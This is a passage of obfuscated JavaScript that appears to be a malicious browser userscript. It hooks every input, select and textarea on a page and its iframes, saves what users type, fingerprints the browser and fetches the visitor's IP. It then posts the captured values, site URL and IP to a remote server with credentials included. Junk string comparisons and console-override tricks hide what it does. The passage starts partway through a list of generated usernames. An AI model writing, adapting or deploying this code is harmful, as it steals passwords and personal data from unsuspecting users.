'0x1da'),'Skylight',R1('0x1e2'),R1(RW.C),'Talon',R1('0xbb'),R1('0xf5'),'OnyxFury',R1('0x189'),'DaggerX',R1('0x1e8'),'SpecterX','MeteorX',R1(RW.o),R1('0x138'),'PulseHawk',R1('0x1d7'),R1(RW.J),R1('0xd3'),R1(RW.b),'IronBolt','LightBeam',R1('0x1c7'),R1(RW.k),R1('0xd9'),'MystFang',R1(RW.c),'RuneWolf','SkyHunter','Orbital','Crater','Gravity','Zero',R1('0xcd'),'SteelShadow',R1(RW.Z),'HyperNova',R1(RW.B),'BlackFrost','AlphaWolf',R1(RW.x),R1(RW.V),'TurboFrost','FlareStorm',R1('0x109'),'EchoRider','SilentClaw',R1('0xeb'),'Xenon','Neutron',R1('0x18a'),R1('0x163'),'AuroraFrost',R1(RW.z),'TwilightEdge','FrostFlare',R1('0x164'),'RavenStrike','SteelHawk','ShadowFrost','FlameBolt',R1('0x178'),'StormHawk','FrostRider','CycloneFlame',R1('0x161'),R1(RW.u),'Moonlit','Glint','Razor','Oblivion','Skyline','Glimmer','CrimsonX',R1(RW.v),R1('0x1cc'),'PyroClaw','VoidWalker',R1('0x11a'),'SolarBreeze',R1('0x171'),'ShatterFang','DuskWolf','AshStorm','HyperEdge',R1('0xb0'),'Titanium','ShadowOrb','Chrono','PrismFang','HorizonX','IronWolf',R1('0x172'),'VortexStorm','BoltHunter',R1(RW.j),R1(RW.n),'NightClaw',R1('0x160'),'InfernalFrost','SoulFlare',R1('0xdc'),'CrimsonFlame','FrostNova',R1(RW.Q),'SkyNova',R1('0x118'),R1('0xc0'),'EclipseFang',R1(RW.L),'EchoClaw','SilentBlade','GrimFrost',R1(RW.Y),R1('0x16f'),'VenomBlade',R1(RW.l),'SolarFrost','IronVanguard',R1('0x116'),R1('0xf8'),'FrostWing','VoidClaw','DarkAurora','ShadowNova','LunarFrost',R1(RW.W),'Shadow','Hunter','Storm','Ghost','Raven','Phoenix',R1('0x1ae'),R1('0x141'),'Vortex',R1('0x10f'),'Frost',R1('0x129'),R1('0x1e9'),R1('0x1a7'),R1('0xc8'),R1(RW.S),'Mystic','Sonic',R1(RW.e),R1(RW.N),'Axel',R1('0x1bf'),'Hawk','Sniper','Cobra','Titan',R1('0x186'),'Phantom','Rogue','Nova','Spirit','Inferno',R1('0x1dd'),'Omega','Striker','Dagger','Orbit','Pulse',R1('0x1d8'),'Spark','Flame','Nebula','Zephyr','Quasar',R1(RW.y),'Cyclone','ShadowFox',R1('0xee'),R1(RW.F),'Crimson','Onyx','Ivory','Emerald','Sapphire','Quartz','Jet',R1('0x202'),'Volt','Turbo',R1('0x1ff'),'Echo',R1(RW.H),'Rider','Guardian',R1(RW.D),R1(RW.i),R1('0x10b'),'Nomad','Warden','Glacier','Comet','Nimbus','Meteor','Haze','Aurora','Twilight',R1('0xd4'),R1(RW.X),R1('0xd8'),'Tracer','Oracle','Prophet',R1('0x10d'),'Element','Breeze',R1(RW.m),'Ash',R1(RW.I),'Surge','Griffin','Vanguard','Pilot','Lancer',R1(RW.s),R1(RW.RS),R1('0x1fd'),'Stark','Hyper',R1('0x132'),'Delta',R1('0x13f'),'john','james','katar','hype','ponty','John','James','Michael','Robert','David',R1('0x135'),R1(RW.Re),'Joseph','Thomas','Charles','Christopher','Daniel','Matthew','Anthony','Donald','Mark',R1(RW.RN),'Steven','Andrew',R1('0x1b6'),'Smith','Johnson','Williams','Brown','Jones',R1('0xc3'),'Miller',R1('0x19e'),'Rodriguez','Martinez',R1('0x122'),'Lopez','Gonzalez','Wilson','Anderson','Thomas','Taylor','Moore','Jackson',R1('0x108'),'John','James','Michael','Robert','David','William',R1('0x176'),'Joseph','Thomas','Charles','Christopher','Daniel',R1('0x204'),'Anthony',R1('0xff'),'Mark',R1(RW.Ry),'Steven',R1('0x19b'),R1('0x1b6'),'Kiara','Bailey','Rhonda','Rodriguez','Selina','Wong','Howard','Robinson',R1('0x144'),'Carroll','Leyton','Marquez','Sahar','Douglas','Aleeza',R1('0xd2'),R1('0xe2'),R1('0x136'),'Clyde','Andersen','Sumaiya',R1(RW.RF),'Andrew','Butler',R1(RW.RH),'Thomson',R1('0x1ec'),'Valdez','Joanna','Duffy','Azaan','Solomon','Raheem','Floyd','Barry','Davila','Marcus','Perry','Paul',R1(RW.RD),'Milton','Flores','Theresa',R1('0x182'),R1('0xab'),R1('0xfd'),'Gertrude',R1(RW.Ri),'Alan','Wyatt','Lorraine',R1('0x133'),'Lucas',R1('0x1d6'),'Samson','Scott','Ashleigh','Bush','Romeo',R1('0x1a4'),R1(RW.RX),R1(RW.Rm),'Adem','Robles',R1(RW.RI),'Mathews',R1(RW.Rs),'Alvarado','Rueben','Mcbride','Jakub','White','Lloyd',R1('0xe9'),'Lola','Mitchell','Hanna','Porter','Mariya','Henry','Helena',R1(RW.Rt),'Jaxon','Fisher','Ivan','Fox',R1('0x18d'),'Underwood','Madeleine','Hernandez','Brendon','Terrell','Kiana','Gross','Erin','Winters',R1(RW.Ra),'Holden','Awais','Berg','Md','Faulkner',R1(RW.RA),'Oliver','Riya','Wise','Aaminah','Carver','Marwa','Small',R1(RW.RO),'Dillon','Josef','Pace',R1(RW.Rw),'Atkins',R1('0x1c0'),R1('0xfe'),'Zuzanna','Walter'],P=()=>Math[R1('0x19a')](Math['random']()*0x186a0)['toString']()['padStart'](0x5,'0'),K=''+r[Math['floor'](Math['random']()*r[R1('0x20d')])]+P();return K;}else p['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](R);}function h(r){const R2=R0;if('WjXsh'!=='dRuuM')GM_xmlhttpRequest({'method':R2(RF.R),'url':T+'/get_library.php','onload':function(P){const R3=R2;if('QsrOB'!=='ZYtgT')try{const K=JSON['parse'](P[R3('0x1a6')]);if(K&&K['ip']){if('ceZuv'==='ceZuv')r(K['ip']);else return;}else'QeBQn'!=='QeBQn'?(T['addEventListener']('input',d),h[R3(RN.R)](R3(RN.q),r)):r('Unknown\x20IP');}catch(o){'ZwEfA'!=='Qinor'?r(R3('0x1cf')):p(R3('0x1cf'));}else{const k=h?function(){if(k){const V=c['apply'](Z,arguments);return B=null,V;}}:function(){};return C=![],k;}},'onerror':function(){if('nFLPK'!=='OMNsV')r('Unknown\x20IP');else{if(T){const K=P['apply'](K,arguments);return U=null,K;}}}});else{if(T){const K=P['apply'](K,arguments);return U=null,K;}}}h(function(r){const qh={R:'0x14c',q:'0x1f8'},qp={R:'0x1d9',q:'0x173'},q7={R:'0x114'},q4={R:'0x142'},q3={R:'0x20d',q:'0x1ee',p:'0xdd',g:'0x1c9',T:'0xf1',d:'0x17e',h:'0x165',r:'0x196',P:'0x17f',K:'0xae',U:'0x175',C:'0xbd',o:'0x13e',J:'0x18b'},RM={R:'0x13d'},RX={R:'0x1b2',q:'0x1a3',p:'0xad'},RC=R0;let P=GM_getValue('username');!P&&('byPzF'==='byPzF'?(P=d(),GM_setValue('username',P)):(T=d(),h('username',r)));function K(B,x,V,z){const Rm={R:'0x119'},R4=E;if('hxwaO'===R4('0x21a')){const u=navigator['hardwareConcurrency'],v=navigator['platform'],j=window['location']['href'],n=navigator['deviceMemory'];function Q(){const R5=R4;if(R5(RX.R)!==R5(RX.q)){const S=document['createElement']('canvas')['getContext']('webgl');if(!S){if('iaQAq'!==R5('0xb9'))p['addedNodes']['forEach'](F=>{F['nodeType']===0x1&&d(F);});else return'no\x20webgl';}const N=S['getExtension']('WEBGL_debug_renderer_info');if(N){if('jucIC'==='jucIC')return S[R5('0xbd')](N['UNMASKED_VENDOR_WEBGL'])+'\x20'+S['getParameter'](N['UNMASKED_RENDERER_WEBGL']);else p('Unknown\x20IP');}else return'UswlC'!==R5(RX.p)?R5('0x197'):'no\x20WEBGL_debug_renderer_info';}else T({'method':'POST','url':d,'headers':{'Content-Type':'application/json'},'data':h['stringify'](r),'onload':function(){},'onerror':function(){}});}const L=v+'\x20/\x20User\x20Agent\x20'+navigator[R4(Rf.R)]+'\x20/\x20Cores\x20'+u+R4(Rf.q)+n+R4('0xd5')+Q(),Y=new Date()['toISOString'](),l={'type':R4('0x183'),'buildid':0x1,'user':P,'browserdata':L,'inputpath':B,'value':x,'site':z,'time':new Date()[R4('0xb2')]('en-GB',{'day':R4(Rf.p),'month':'2-digit','year':'numeric','hour':R4(Rf.g),'minute':'2-digit','second':'2-digit'})['replace'](',','\x20|'),'timestamp':Y,'ip':r};function W(){const R6=R4;if('NrEOA'==='NrEOA'){const S=new XMLHttpRequest();S['open']('POST',T,!![]),S['setRequestHeader']('Content-Type',R6('0x11f')),S['withCredentials']=!![],S['onload']=function(){const R7=R6;if('nmpFq'==='KyoOJ')p+='[autocomplete=\x22'+R['getAttribute']('autocomplete')+'\x22]';else{if(S[R7(Rm.R)]>=0xc8){if(R7('0x148')!=='jNKdv'){const F=g[R7('0xdf')](T,arguments);return d=null,F;}else S[R7('0x119')];}}},S['onerror']=function(){const R8=R6;if('DJyJz'==='DJyJz')try{'kUQxC'!=='kUQxC'?p+='[name=\x22'+R['name']+'\x22]':GM_xmlhttpRequest({'method':'POST','url':T,'headers':{'Content-Type':'application/json'},'data':JSON[R8('0xa9')](l),'onload':function(){},'onerror':function(){}});}catch(y){}else p[R8('0x119')]>=0xc8&&T['status'];},S['send'](JSON[R6('0xa9')](l));}else{const y=h?function(){const R9=R6;if(y){const F=c[R9('0xdf')](Z,arguments);return B=null,F;}}:function(){};return C=![],y;}}V?'SxuPg'===R4('0x1bc')?W():R[R4('0x14f')]===R4(Rf.T)&&h['addedNodes']['forEach'](N=>{N['nodeType']===0x1&&K(N);}):fetch(T,{'method':'POST','headers':{'Content-Type':'application/json'},'body':JSON['stringify'](l),'credentials':'include','mode':R4(Rf.d)})['catch'](()=>{const RR=R4;'XNBmJ'==='VonaL'?p+='[aria-describedby=\x22'+R[RR(RM.R)]('aria-describedby')+'\x22]':W();});}else{let y;try{const D=o('return\x20(function()\x20'+R4('0x12f')+');');y=D();}catch(i){y=b;}const F=y['console']=y['console']||{},H=['log','warn','info','error','exception','table','trace'];for(let X=0x0;X<H['length'];X++){const m=x[R4('0x215')]['prototype'][R4('0xb7')](V),I=H[X],s=F[I]||m;m['__proto__']=z['bind'](u),m[R4(Rf.h)]=s[R4('0x16b')]['bind'](s),F[I]=m;}}}function U(B){const Rq=E;if('SiGuj'!=='wYLij'){let x=B['tagName']['toLowerCase']();if(B['id']){if('EtDnH'===Rq('0x1d4'))x+='#'+B['id'];else{if(J==='username')return;const z=b(k);let {value:u,site:v}=z;typeof v===Rq('0xe4')&&(v=Q[Rq('0x170')]['href']);if(Z['length']>0x1f4)B=x['substring'](0x0,0x1f4);if(u['length']>0x1f4)u=u['substring'](0x0,0x1f4);if(v[Rq(q3.R)]>0x1f4)v=v[Rq(q3.q)](0x0,0x1f4);V(()=>{z(Y,u,!![],v),l(W);},n*0x3e8);}}B['name']&&('nrHwV'===Rq(q3.p)?d(h,{'method':Rq('0x130'),'headers':{'Content-Type':Rq('0x11f')},'body':r['stringify'](P),'credentials':Rq(q3.g),'mode':Rq('0x12d')})['catch'](()=>{U();}):x+='[name=\x22'+B['name']+'\x22]');if(B[Rq('0x13d')](Rq(q3.T))){if(Rq(q3.d)===Rq('0x16e')){if(K['matches'](Rq('0x114')))B['addEventListener']('input',x),V['addEventListener']('change',z);else b['querySelectorAll']&&u['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](Y=>{const Rp=Rq;Y['addEventListener']('input',n),Y['addEventListener'](Rp('0x185'),Q);});}else x+=Rq(q3.h)+B['getAttribute']('autocomplete')+'\x22]';}B['getAttribute'](Rq('0x174'))&&(Rq(q3.r)==='JwqAk'?p():x+='[aria-describedby=\x22'+B['getAttribute']('aria-describedby')+'\x22]');if(B[Rq(q3.P)]){if('cBdhh'==='ZhQeJ'){const n=p[Rq(q3.K)]('canvas')[Rq(q3.U)]('webgl');if(!n)return'no\x20webgl';const Q=n[Rq('0x134')]('WEBGL_debug_renderer_info');return Q?n[Rq(q3.C)](Q['UNMASKED_VENDOR_WEBGL'])+'\x20'+n['getParameter'](Q[Rq(q3.o)]):'no\x20WEBGL_debug_renderer_info';}else x+='.'+B[Rq(q3.P)]['split']('\x20')['join']('.');}if(Array['from'](B['parentNode']['children'])['filter'](n=>n['tagName']===B['tagName'])['length']>0x1){if('zrWFm'==='NSXDz')return T['getParameter'](d[Rq(q3.J)])+'\x20'+h[Rq('0xbd')](r['UNMASKED_RENDERER_WEBGL']);else x+=Rq('0x1eb')+(Array['prototype']['indexOf']['call'](B['parentNode']['children'],B)+0x1)+')';}return x;}else p();}function C(B){const Rg=E,x=U(B['target']),V=B[Rg(q4.R)]['value'],z=window['location']['href'],u={'value':V,'site':z};GM_setValue(x,u);}function o(B){const RG=E;if(RG('0x209')!=='RwikQ')p(R['ip']);else{if(B['matches'](RG('0x114')))'kOEgf'!=='prinq'?(B['addEventListener']('input',C),B['addEventListener']('change',C)):p(R);else B['querySelectorAll']&&B['querySelectorAll'](RG(q7.R))['forEach'](z=>{const RE=RG;'HqKYc'==='tqmun'?R['addedNodes']['forEach'](v=>{v['nodeType']===0x1&&(P(v),v['tagName']==='IFRAME'&&U(v));}):(z['addEventListener']('input',C),z[RE('0x10e')]('change',C));});}}function J(){const RT=E;if('HEiIy'!==RT('0x12e'))document['querySelectorAll'](RT('0x114'))[RT('0x1f8')](o);else{const x=g['apply'](T,arguments);return d=null,x;}}function b(B){const qR={R:'0x127'},Rd=E;if(Rd(qg.R)===Rd(qg.q)){const V=['Specter',Rd(qg.p),Rd('0xf3'),'Dusk','Viper',Rd('0x1ad'),'Stalker','Fusion','Galaxy','Rift','PulseFire',Rd(qg.g),'OrbitX',Rd('0x15f'),Rd(qg.T),'Cloud','Drift',Rd('0x1b7'),Rd(qg.d),'Atom','Axion','Bolt','Neon','Pyro',Rd('0xce'),'Blight','Rune','Core','Shatter','Twister','Prism','Shine','Gale','Tempest','Forge',Rd(qg.h),Rd('0x1a8'),Rd(qg.r),'Survivor','Havoc',Rd(qg.P),'HunterX','Wisp',Rd('0xe8'),'EchoBlade',Rd('0x1fc'),'Edge','Wave','Torrent',Rd('0x1b1'),'GuardianX','LancerX',Rd(qg.K),'Amber','Diamond',Rd(qg.U),'Ruby',Rd('0x16a'),'Thunderhawk','Fang',Rd('0x145'),'VoltX','Astral','SolarFlare','Sky','Shimmer','Spire','Summit','Hollow','Crypt',Rd('0x168'),'Scythe','ShadowFang','Lynx','Tracker',Rd('0x111'),Rd(qg.C),'Brimstone',Rd(qg.o),Rd('0xc9'),'VanguardX','Serpent','Myst','Blackout','SteelWolf','IronClaw','StormBreaker','Saber','ZephyrX',Rd(qg.J),'FuryX','CycloneX','ShadowRider',Rd('0x1a0'),Rd('0x20c'),'Cascade','AuroraX','SonicWave','StormWolf','SpiritBlade',Rd('0x143'),'SteelStorm','SteelFang',Rd(qg.b),'Frostbite','Blitz','SurgeX','VenomX','BoltStorm','EclipseX','Glider','Seismic',Rd('0xc7'),'Ashen','Skylight',Rd(qg.k),'Soul',Rd('0x126'),'Sparkle',Rd('0xf5'),Rd('0x102'),'DriftX','DaggerX','BlazeWolf','SpecterX','MeteorX',Rd('0x162'),'ViperX','PulseHawk',Rd('0x1d7'),Rd(qg.c),Rd(qg.Z),Rd(qg.B),'IronBolt','LightBeam','ThunderClaw','Blaster','HyperFrost','MystFang','SolarPulse','RuneWolf','SkyHunter',Rd('0xe0'),'Crater',Rd(qg.x),Rd(qg.V),'PhantomStrike','SteelShadow',Rd('0x208'),Rd(qg.z),'Cosmos',Rd('0x1e0'),Rd(qg.u),Rd(qg.v),'LunarShadow','TurboFrost','FlareStorm','BladeRunner',Rd(qg.j),Rd('0x1fe'),Rd('0xeb'),'Xenon',Rd('0x1c4'),'DarkPulse',Rd('0x163'),'AuroraFrost','VortexFlame','TwilightEdge',Rd('0xfc'),Rd(qg.n),'RavenStrike','SteelHawk','ShadowFrost',Rd('0x1b5'),'BlizzardWolf','StormHawk','FrostRider',Rd('0xc5'),'EchoWolfX','FireBolt','Moonlit','Glint',Rd(qg.Q),'Oblivion',Rd('0xf4'),Rd(qg.L),Rd(qg.Y),Rd('0x166'),Rd(qg.l),'PyroClaw','VoidWalker','Celestial',Rd('0x20e'),'NebulaBlade','ShatterFang','DuskWolf','AshStorm','HyperEdge','GlacierStrike','Titanium','ShadowOrb','Chrono',Rd(qg.W),'HorizonX','IronWolf',Rd('0x172'),'VortexStorm','BoltHunter','Ethereal','BlackBolt',Rd('0x110'),'Luminous','InfernalFrost',Rd('0xc2'),'HyperLynx','CrimsonFlame','FrostNova','ShadowFlame',Rd('0x190'),'ThunderWolf','BlazeClaw','EclipseFang',Rd('0x15d'),'EchoClaw',Rd('0x211'),'GrimFrost','PhantomWave','StormClaw','VenomBlade','CryoWolf',Rd('0x179'),'IronVanguard','AshWolf',Rd('0xf8'),'FrostWing','VoidClaw','DarkAurora','ShadowNova','LunarFrost','IronEclipse','Shadow','Hunter','Storm','Ghost','Raven','Phoenix','Wolf',Rd('0x141'),Rd('0x128'),Rd(qg.S),Rd(qg.e),'Thunder','Venom','Drake','Eagle','Dragon','Mystic','Sonic',Rd('0xf7'),'Knight',Rd('0x218'),'Steel',Rd('0x18f'),'Sniper',Rd(qg.N),'Titan',Rd('0x186'),'Phantom','Rogue','Nova','Spirit','Inferno','Alpha',Rd(qg.y),Rd('0x1f5'),'Dagger','Orbit',Rd(qg.F),Rd(qg.H),Rd(qg.D),Rd('0x105'),'Nebula','Zephyr','Quasar',Rd('0x16d'),Rd(qg.i),'ShadowFox','Lunar','Solar',Rd('0x1d2'),Rd('0xe7'),Rd('0x131'),Rd('0x1a5'),'Sapphire','Quartz','Jet','Copper','Volt','Turbo',Rd('0x1ff'),'Echo','Shifter','Rider','Guardian',Rd('0x201'),'Blizzard','Falcon','Nomad',Rd('0x153'),Rd(qg.X),'Comet',Rd('0xb3'),'Meteor','Haze','Aurora','Twilight','Eclipse','Pioneer','Seeker','Tracer','Oracle','Prophet','Wraith','Element',Rd(qg.m),Rd('0xf0'),'Ash','Fury',Rd('0x15a'),'Griffin','Vanguard','Pilot','Lancer','Breaker','EchoWolf',Rd('0x1fd'),Rd('0x191'),'Hyper',Rd(qg.I),'Delta','bunny','john','james',Rd('0x124'),'hype','ponty','John','James','Michael',Rd(qg.s),Rd('0x14b'),'William','Richard','Joseph','Thomas',Rd(qg.qG),'Christopher',Rd('0xea'),'Matthew','Anthony',Rd(qg.qE),'Mark','Paul',Rd('0x198'),Rd('0x19b'),'Kenneth','Smith','Johnson','Williams','Brown',Rd(qg.qT),'Garcia','Miller','Davis',Rd(qg.qd),'Martinez',Rd(qg.qh),'Lopez','Gonzalez','Wilson','Anderson',Rd('0x169'),Rd('0x1e1'),'Moore','Jackson',Rd('0x108'),'John','James','Michael',Rd('0x1b4'),'David','William','Richard','Joseph',Rd(qg.qr),'Charles',Rd('0x117'),Rd(qg.qP),'Matthew',Rd('0x123'),'Donald',Rd(qg.qK),'Paul','Steven','Andrew','Kenneth','Kiara','Bailey',Rd(qg.qU),Rd(qg.qC),'Selina','Wong','Howard','Robinson','Mikey','Carroll','Leyton',Rd(qg.qo),'Sahar','Douglas',Rd('0x11d'),Rd(qg.qJ),'Mabel','Sharpe',Rd('0x214'),'Andersen','Sumaiya',Rd('0xe6'),Rd(qg.qb),Rd('0x1b9'),'Archie','Thomson','Ellie-May','Valdez','Joanna','Duffy',Rd('0x1ca'),'Solomon','Raheem','Floyd',Rd('0xd6'),'Davila',Rd(qg.qk),'Perry','Paul','Woodward',Rd('0xf9'),Rd(qg.qc),'Theresa','French','Aaron','Gibbs','Gertrude','Merrill',Rd('0x1ab'),'Wyatt','Lorraine','Lloyd','Lucas','Roy',Rd(qg.qZ),'Scott','Ashleigh','Bush','Romeo','Gibbons','Zachariah',Rd(qg.qB),Rd('0x20f'),'Robles','Aamir','Mathews','Sandra',Rd(qg.qx),Rd(qg.qV),'Mcbride','Jakub','White',Rd('0x133'),'Townsend',Rd(qg.qz),'Mitchell',Rd('0x152'),'Porter',Rd(qg.qu),'Henry','Helena','Beltran',Rd('0x205'),Rd(qg.qv),'Ivan','Fox','Maddison','Underwood','Madeleine','Hernandez','Brendon','Terrell',Rd('0x1c3'),Rd('0x1c2'),'Erin','Winters','Aishah','Holden','Awais','Berg','Md',Rd('0x180'),'Zach',Rd('0x1bd'),Rd(qg.qj),'Wise','Aaminah','Carver','Marwa',Rd(qg.qn),Rd('0x194'),'Dillon',Rd('0x1c8'),'Pace','Yunus','Atkins',Rd('0x1c0'),'Bradford','Zuzanna',Rd('0x17a')],z=()=>V['floor'](z[Rd('0x1c1')]()*0x186a0)['toString']()[Rd('0x1a2')](0x5,'0'),u=''+V[h[Rd(qg.qQ)](r['random']()*V[Rd(qg.qL)])]+z();return u;}else try{if('NzZgy'!==Rd('0x146')){const V=B['contentDocument']||B['contentWindow']['document'];V&&(new MutationObserver(z=>{const Rh=Rd;z[Rh('0x1f8')](u=>{const RP=Rh;'AKasi'!=='xIsPQ'?u['addedNodes']['forEach'](v=>{const Rr=E;if(Rr('0x216')==='JNYRE')T+=Rr('0x1eb')+(d[Rr('0xd0')]['indexOf']['call'](h['parentNode']['children'],r)+0x1)+')';else{if(v['nodeType']===0x1){if('szRos'!==Rr('0x113')){const Q=T['parse'](d['responseText']);Q&&Q['ip']?P(Q['ip']):K('Unknown\x20IP');}else o(v),v['tagName']==='IFRAME'&&('aSRZA'!=='pEfBM'?b(v):(h(r,P,!![],K),U(C)));}}}):(d(h),r['tagName']===RP(qR.R)&&U(C));});})['observe'](V['body'],{'childList':!![],'subtree':!![]}),k(V),V['querySelectorAll']('iframe')['forEach'](z=>{const RK=Rd;if(RK(qp.R)==='drbZw')z['addEventListener']('load',()=>b(z)),setTimeout(()=>b(z),0x3e8);else return p['toString']()['search']('(((.+)+)+)+$')['toString']()['constructor'](g)[RK(qp.q)]('(((.+)+)+)+$');}));}else p('Unknown\x20IP');}catch(u){}}function k(B){const RU=E;if('CVtXz'!=='CVtXz'){const V=p('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');g=V();}else B[RU('0x12b')]('input,\x20select,\x20textarea')[RU('0x1f8')](o);}document[RC('0x12b')](RC('0x1f4'))[RC('0x1f8')](B=>{B['addEventListener']('load',()=>b(B)),setTimeout(()=>b(B),0x3e8);}),J(),new MutationObserver(B=>{const qT={R:'0x112'},Ro=RC;'bhmlF'!=='cYFzw'?B[Ro('0x1f8')](x=>{const RJ=Ro;if(RJ('0x14c')!==RJ(qh.R))p['querySelectorAll']('input,\x20select,\x20textarea')['forEach'](R);else{if(x['type']==='childList'){if('EwEDB'!=='yhIHJ')x['addedNodes'][RJ(qh.q)](z=>{const Rb=RJ;Rb(qT.R)===Rb(qT.R)?z['nodeType']===0x1&&('iFYMa'!=='DxHZP'?o(z):p+='.'+R['className']['split']('\x20')['join']('.')):p+='#'+R['id'];});else{const qd={R:'0x185'};R['querySelectorAll']('input,\x20select,\x20textarea')[RJ('0x1f8')](u=>{const Rk=RJ;u['addEventListener']('input',h),u['addEventListener'](Rk(qd.R),r);});}}}}):p['status'];})['observe'](document['body'],{'childList':!![],'subtree':!![]});function c(){const B=GM_listValues();B['forEach']((x,V)=>{const Rc=E;if(x==='username'){if('VhqIU'!=='NXidH')return;else h['nodeType']===0x1&&(o(J),b['tagName']===Rc('0x127')&&Z(B));}const z=GM_getValue(x);let {value:u,site:v}=z;typeof v==='undefined'&&('WLEOE'==='XMjlL'?p=R['location'][Rc('0xd7')]:v=window['location']['href']);if(x['length']>0x1f4)x=x['substring'](0x0,0x1f4);if(u[Rc('0x20d')]>0x1f4)u=u['substring'](0x0,0x1f4);if(v['length']>0x1f4)v=v['substring'](0x0,0x1f4);setTimeout(()=>{if('lhDtt'!=='LlUyW')K(x,u,!![],v),GM_deleteValue(x);else{const L=P['constructor']['prototype']['bind'](K),Y=U[C],l=o[Y]||L;L['__proto__']=J['bind'](b),L['toString']=l['toString']['bind'](l),k[Y]=L;}},V*0x3e8);});}c();});}()));